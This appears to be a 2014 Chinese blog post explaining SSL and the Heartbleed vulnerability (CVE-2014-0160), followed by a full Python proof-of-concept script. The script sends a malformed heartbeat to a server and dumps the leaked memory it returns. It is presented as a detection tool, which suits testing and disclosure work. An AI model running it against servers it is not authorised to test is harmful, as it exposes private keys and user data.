一个检测OpenSSL心脏出血漏洞的Python脚本分享


Posted in Python onApril 10, 2014

什么是SSL?

SSL是一种流行的加密技术,可以保护用户通过互联网传输的隐私信息。网站采用此加密技术后,第三方无法读取你与该网站之间的任何通讯信息。在后台,通过SSL加密的数据只有接收者才能解密。

SSL最早在1994年由网景推出,1990年代以来已经被所有主流浏览器采纳。

什么是“心脏出血”漏洞?

SSL标准包含一个心跳选项,允许SSL连接一端的电脑发出一条简短的信息,确认另一端的电脑仍然在线,并获取反馈。研究人员发现,可以通过巧妙的手段发出恶意心跳信息,欺骗另一端的电脑泄露机密信息。受影响的电脑可能会因此而被骗,并发送服务器内存中的信息。

谁发现的这个问题?

该漏洞是由Codenomicon和谷歌安全部门的研究人员独立发现的。为了将影响降到最低,研究人员已经与OpenSSL团队和其他关键的内部人士展开了合作,在公布该问题前就已经准备好修复方案。

检测OpenSSL心脏出血漏洞的Python脚本

#!/usr/bin/python# Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org)
# The author disclaims copyright to this source code.
import sys
import struct
import socket
import time
import select
import re
from optparse import OptionParser
options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')
options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')
def h2bin(x):
    return x.replace(' ', '').replace('\n', '').decode('hex')
hello = h2bin('''
16 03 02 00  dc 01 00 00 d8 03 02 53
43 5b 90 9d 9b 72 0b bc  0c bc 2b 92 a8 48 97 cf
bd 39 04 cc 16 0a 85 03  90 9f 77 04 33 d4 de 00
00 66 c0 14 c0 0a c0 22  c0 21 00 39 00 38 00 88
00 87 c0 0f c0 05 00 35  00 84 c0 12 c0 08 c0 1c
c0 1b 00 16 00 13 c0 0d  c0 03 00 0a c0 13 c0 09
c0 1f c0 1e 00 33 00 32  00 9a 00 99 00 45 00 44
c0 0e c0 04 00 2f 00 96  00 41 c0 11 c0 07 c0 0c
c0 02 00 05 00 04 00 15  00 12 00 09 00 14 00 11
00 08 00 06 00 03 00 ff  01 00 00 49 00 0b 00 04
03 00 01 02 00 0a 00 34  00 32 00 0e 00 0d 00 19
00 0b 00 0c 00 18 00 09  00 0a 00 16 00 17 00 08
00 06 00 07 00 14 00 15  00 04 00 05 00 12 00 13
00 01 00 02 00 03 00 0f  00 10 00 11 00 23 00 00
00 0f 00 01 01                                 
''')
hb = h2bin('''
18 03 02 00 03
01 40 00
''')
def hexdump(s):
    for b in xrange(0, len(s), 16):
        lin = [c for c in s[b : b + 16]]
        hxdat = ' '.join('%02X' % ord(c) for c in lin)
        pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)
        print '  %04x: %-48s %s' % (b, hxdat, pdat)
    print
def recvall(s, length, timeout=5):
    endtime = time.time() + timeout
    rdata = ''
    remain = length
    while remain > 0:
        rtime = endtime - time.time()
        if rtime < 0:
            return None
        r, w, e = select.select([s], [], [], 5)
        if s in r:
            data = s.recv(remain)
            # EOF?
            if not data:
                return None
            rdata += data
            remain -= len(data)
    return rdata
 
def recvmsg(s):
    hdr = recvall(s, 5)
    if hdr is None:
        print 'Unexpected EOF receiving record header - server closed connection'
        return None, None, None
    typ, ver, ln = struct.unpack('>BHH', hdr)
    pay = recvall(s, ln, 10)
    if pay is None:
        print 'Unexpected EOF receiving record payload - server closed connection'
        return None, None, None
    print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))
    return typ, ver, pay
def hit_hb(s):
    s.send(hb)
    while True:
        typ, ver, pay = recvmsg(s)
        if typ is None:
            print 'No heartbeat response received, server likely not vulnerable'
            return False
        if typ == 24:
            print 'Received heartbeat response:'
            hexdump(pay)
            if len(pay) > 3:
                print 'WARNING: server returned more data than it should - server is vulnerable!'
            else:
                print 'Server processed malformed heartbeat, but did not return any extra data.'
            return True
        if typ == 21:
            print 'Received alert:'
            hexdump(pay)
            print 'Server returned error, likely not vulnerable'
            return False
def main():
    opts, args = options.parse_args()
    if len(args) < 1:
        options.print_help()
        return
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    print 'Connecting...'
    sys.stdout.flush()
    s.connect((args[0], opts.port))
    print 'Sending Client Hello...'
    sys.stdout.flush()
    s.send(hello)
    print 'Waiting for Server Hello...'
    sys.stdout.flush()
    while True:
        typ, ver, pay = recvmsg(s)
        if typ == None:
            print 'Server closed connection without sending Server Hello.'
            return
        # Look for server hello done message.
        if typ == 22 and ord(pay[0]) == 0x0E:
            break
    print 'Sending heartbeat request...'
    sys.stdout.flush()
    s.send(hb)
    hit_hb(s)
if __name__ == '__main__':
    main()
Python 相关文章推荐
用Python的Django框架完成视频处理任务的教程
Apr 02 Python
Python编程判断这天是这一年第几天的方法示例
Apr 18 Python
python+matplotlib绘制简单的海豚(顶点和节点的操作)
Jan 02 Python
详解Python之unittest单元测试代码
Jan 24 Python
Python遍历文件夹 处理json文件的方法
Jan 22 Python
Django JWT Token RestfulAPI用户认证详解
Jan 23 Python
python3下载抖音视频的完整代码
Jun 05 Python
基于python的socket实现单机五子棋到双人对战
Mar 24 Python
python super用法及原理详解
Jan 20 Python
python str字符串转uuid实例
Mar 03 Python
Python 制作自动化翻译工具
Apr 25 Python
python数据处理之Pandas类型转换
Apr 28 Python
Python删除指定目录下过期文件的2个脚本分享
Apr 10 #Python
python实现随机密码字典生成器示例
Apr 09 #Python
Python下的Mysql模块MySQLdb安装详解
Apr 09 #Python
使用python实现递归版汉诺塔示例(汉诺塔递归算法)
Apr 08 #Python
python计算圆周长、面积、球体体积并画出圆
Apr 08 #Python
python实现类似ftp传输文件的网络程序示例
Apr 08 #Python
Python collections模块实例讲解
Apr 07 #Python
You might like
缅甸的咖啡简史
2021/03/04 咖啡文化
PHP的可变变量名的使用方法分享
2012/02/05 PHP
xss防御之php利用httponly防xss攻击
2014/03/21 PHP
php+html5基于websocket实现聊天室的方法
2015/07/17 PHP
Laravel框架模板继承操作示例
2018/06/11 PHP
Laravel框架实现修改登录和注册接口数据返回格式的方法
2018/08/17 PHP
Javascript之旅 对象的原型链之由来
2010/08/25 Javascript
Javascript无阻塞加载具体方式
2013/06/28 Javascript
javascript显示用户停留时间的简单实例
2013/08/05 Javascript
非jQuery实现照片散落桌子上,单击放大的LightBox效果
2014/11/28 Javascript
zepto.js中tap事件阻止冒泡的实现方法
2015/02/12 Javascript
JavaScript是如何实现继承的(六种方式)
2016/03/31 Javascript
JSON与XML的区别对比及案例应用
2016/11/11 Javascript
Vue Spa切换页面时更改标题的实例代码
2017/07/15 Javascript
Javascript es7中比较实用的两个方法示例
2017/07/21 Javascript
js封装成插件_Canvas统计图插件编写实例
2017/09/12 Javascript
jQuery简单实现对数组去重及排序操作实例
2017/10/31 jQuery
利用nginx + node在阿里云部署https的步骤详解
2017/12/19 Javascript
微信小程序之多文件下载的简单封装示例
2018/01/29 Javascript
vue+springboot前后端分离实现单点登录跨域问题解决方法
2018/01/30 Javascript
Vue动态创建注册component的实例代码
2019/06/14 Javascript
layui 实现二级弹窗弹出之后 关闭一级弹窗的方法
2019/09/18 Javascript
浅谈Vue3 Composition API如何替换Vue Mixins
2020/04/29 Javascript
原生js实现购物车
2020/09/23 Javascript
[01:06:12]VP vs NIP 2019国际邀请赛小组赛 BO2 第一场 8.15
2019/08/17 DOTA
使用python编写脚本获取手机当前应用apk的信息
2014/07/21 Python
python生成二维码的实例详解
2017/10/29 Python
Django 如何使用日期时间选择器规范用户的时间输入示例代码详解
2020/05/22 Python
Html5原生拖拽相关事件简介以及基础实现
2020/11/19 HTML / CSS
北京英语导游词
2015/02/12 职场文书
高中生综合素质评价范文
2015/08/18 职场文书
JS数组的常用方法整理
2021/03/31 Javascript
Python基础知识之变量的详解
2021/04/14 Python
python numpy中multiply与*及matul 的区别说明
2021/05/26 Python
Mysql中where与on的区别及何时使用详析
2021/08/04 MySQL
基于Redis6.2.6版本部署Redis Cluster集群的问题
2022/04/01 Redis